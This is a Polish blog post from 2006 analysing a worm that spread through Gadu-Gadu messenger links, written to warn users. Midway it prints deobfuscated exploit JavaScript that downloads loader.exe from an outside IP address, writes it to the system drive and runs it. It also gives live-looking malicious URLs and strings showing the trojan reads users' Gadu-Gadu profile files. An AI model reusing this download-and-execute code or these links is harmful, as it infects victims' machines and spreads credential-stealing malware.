Gadu-Padu – trojanik
Zaaktualizowano: 27 grudnia 2006 (zobacz modyfikację)
Przez ostatnie dwa dni zauważyłem w opisach wielu ludzi tekst podobny do tego: „padło mi gg” albo „nie dochodzą moje wiadomości”. Heh, myśle sobie, że może serwerek uznał delikwentów za spammerów, bo korzystali z inwigilatorów. Ale nieee, sprawa jest chyba trochę grubsza, na dodatek – na skalę masową. Od wczoraj komunikacja większości osób przebiega przez opisy. Na domiar złego dzisiaj dostaję sznurek z opisem:
wybuch w niemczech www.supercqb.com/material_2006_19_11_14970.html
Wcześniej dostał to brat i jak zwykle do niego „odpal to”. No co? Trzeba wiedzieć, co to jest, nie?
Ok, tak jak podejrzewaliśmy – trojanik. Kiedyś czytałem, że powstał robak typu proof-of-concept napisany na potrzeby GS, który wysyła wiadomości do wszystkich z listy. Oczywiście w treści był link do niego samego, czyli taka matrioszka.
Po otwarciu linku uruchamia się strona do złudzenia podobna do about:blank (czyli do czystej). Zaglądam pod maskę, a tam zaszyfrowany kod. Trochę zawiły algorytm, ale mnie się na razie nie chce go odszyfrować
Robak ten wykorzystał pewnie owego PoC, bo link doń prowadzący dostałem już od kilku osób.
Wspomniałem, że GS blokuje osoby spammujące (czyli wysyłające więcej niż ileśtam wiadomości w ciągu minuty). Jeśli ktoś ma rozbudowaną listę, to trojan bardzo szybko wykorzysta ten limit. Podejrzewam, że właśnie to jest przyczyną problemów.
Istnieje również opcja, że robak posiada wbudowaną obsługę protokołu, a dane wyciąga sobie z profilu użytkownika, więc mógłby egzystować nawet bez zainstalowanego GS (np. na chwilę instalujesz, by konto założyć, wywalasz, ale profil zostawiasz).
Jakie jest rozwiązanie? Przeskanować kompa na obecność wirusów i napisać do autorów GG z prośbą o odblokowanie numeru lub założyć sobie nowy…
Najlepiej, oczywiście, nie korzystać z oryginalnego klienta GS. Jak już wcześniej wspomniałem, istnieje opcja, że trojan wykorzystuje pozostałości po profilu użytkownika.
UWAGA: Przed skanowaniem antywirusem upewnij się, że masz najnowsze bazy!!!
edit: Brat wysłał maila do GG i dostał taką odpowiedź:
Blokady zakładane i zdejmowane sa automatycznie. Czas ich trwania zalezy od popełnionego wykroczenia. Zazwyczaj jest to od kilku godzin do kilku dni. Proszę zatem uzbroić się w cierpliwość.
UPDATE
Dzisiaj zaatakował inny trojan. Rozsyła się przez inny link: www.hsqvyrpzeh.info/?awbiby.jpg. W celu zamaskowania podaje losową wartość query string (tą po znaku zapytania). Tym razem, zapewne w celu ukrycia przed osobami, które chciałyby ostrzec innych, robak sprawdza user-agent i gdy używamy IE – przesyła kod (oczywiście zaszyfrowany). Analizując rozpracowany kod można doszukać się ciekawych fragmentów:
function Get_Win_Version(IE_vers) //funkcja "przydatna" w dalszej części kodu
//poszukajmy folderu autostartu :P
try {
var obj_WScript = obj_RDS.CreateObject("WScript.Shell","");
}catch(e){};
try {
var wshProcEnv = obj_WScript.Environment("PROCESS");
hdrive=wshProcEnv("HOMEDRIVE");
dtemp=wshProcEnv("TEMP");
} catch(e){};
if (hdrive == "") {
hdrive="C:";
}
try {
dstart=obj_WScript.SpecialFolders("Startup");
}
//teraz dopiero się zacznie - exploit ściąga trojanika z sieci
obj_msxml2.open("GET","http://66.185.126.34:1080/vnew/loader.exe",false);
obj_msxml2.send();
obj_adodb.type = 1;
obj_adodb.open();
obj_adodb.Write(obj_msxml2.responseBody);
//dobra, wiemy, że programik zapisał się w autostarcie, ale sensu tego poniżej nie rozumiem... Po co zapisywać w koszu?
fn = "C:\\RECYCLER\\"+Math.round(Math.random()*(1000000-1)+10000)+".exe";
obj_adodb.SaveToFile(fn,2);
//o yeah, let's dance - popatrz, gdzie jesteśmy :D
//początkowo umknie oku, ale w oryginale mamy inne rozszerzenie
var fn = "C:\\NTDETECT.EXE";
obj_adodb.SaveToFile(fn,2);
obj_adodb.close();
obj_ShellApp.ShellExecute(fn);
//w ten sposób spada ryzyko ręcznego usunięcia, bez udziału AV
//robaczek działa na każdej wersji Windows:
var agt=getProperties(navigator).toLowerCase();
if(navigator.appName=="Microsoft Internet Explorer"){
var IEversion=navigator.appVersion;
var IEplatform=navigator.platform;
if(IEplatform.search("Win32") != -1){
var WinOS=Get_Win_Version(IEversion);
switch (WinOS){
case "XPSP2":
rds();
wvf();
break;
case "XP":
mdac();
java();
setTimeout('wvf()',3000);
break;
case "2K":
mdac();
java();
xml();
break;
case "2K3":
mdac();
java();
xml();
break;
case "98":
mdac();
java();
xml();
break;
case "ME":
mdac();
java();
xml();
break;
case "NT":
mdac();
java();
xml();
break;
case "95":
mdac();
java();
xml();
break;
default:
rds();
break;
}
}
}
//...łącznie z Windows 2003
Wcześniej jest jeszcze zaszyfrowany kawałek kodu.
OK, exploit już się uruchomił, zobaczmy, co mamy dalej. Ściągnięty i urchomiony został exec wielkości ~42KB. Co w nim mamy? Otóż, staranność jego zaszyfrowania już nie jest taka, z jaką mieliśmy do czynienia w explocie. Podejrzałem sobie delikwenta. Przy końcu pliku można zauważyć coś takiego:
//i główna procedura wysyłania - otwiera się zwykłe gniazdko do hosta gg: //sprintf - szukamy pliku konfiguracyjnego profilu
//trochę "emotów", żeby wysyłane wiadomości wyglądały jak prawdziwe; nie wiem, czy ta tablica jest w rzeczywistości używana, ale - z tego, co widziałem - nie
GET /appsvc/appmsg4.asp?fmnumber=%ld&version=6%%2C+1%%2C+0%%2C+158&fmt=2&lastmsg=3553 HTTP/1.0
Host: appmsg.gadu-gadu.pl
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */\*
Accept-Language: pl
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)
Pragma: no-cache
%s\Gadu-Gadu\* sprintf %s\Gadu-Gadu\%s\config.dat sprintf %s\Gadu-Gadu\%s\smseab.dat
Czyli miałem wcześniej rację – exploit jest samowystarczalny. Wystarczy, że ktoś będzie miał zainstalowane samo GS i trojan sam sobie poradzi. Działanie jest takie samo, jak wcześniej – znaleźć profil, rozesłać się – zablokować profil. Nihil novi…
Zauważyłem nowy objaw: od osób z zainfekowanym kompem trojan wysyła kilkuznakowe, losowe ciągi znaków + któryś z emotów.
Jaki z tego wniosek? – trzeba zmienić GS na coś innego.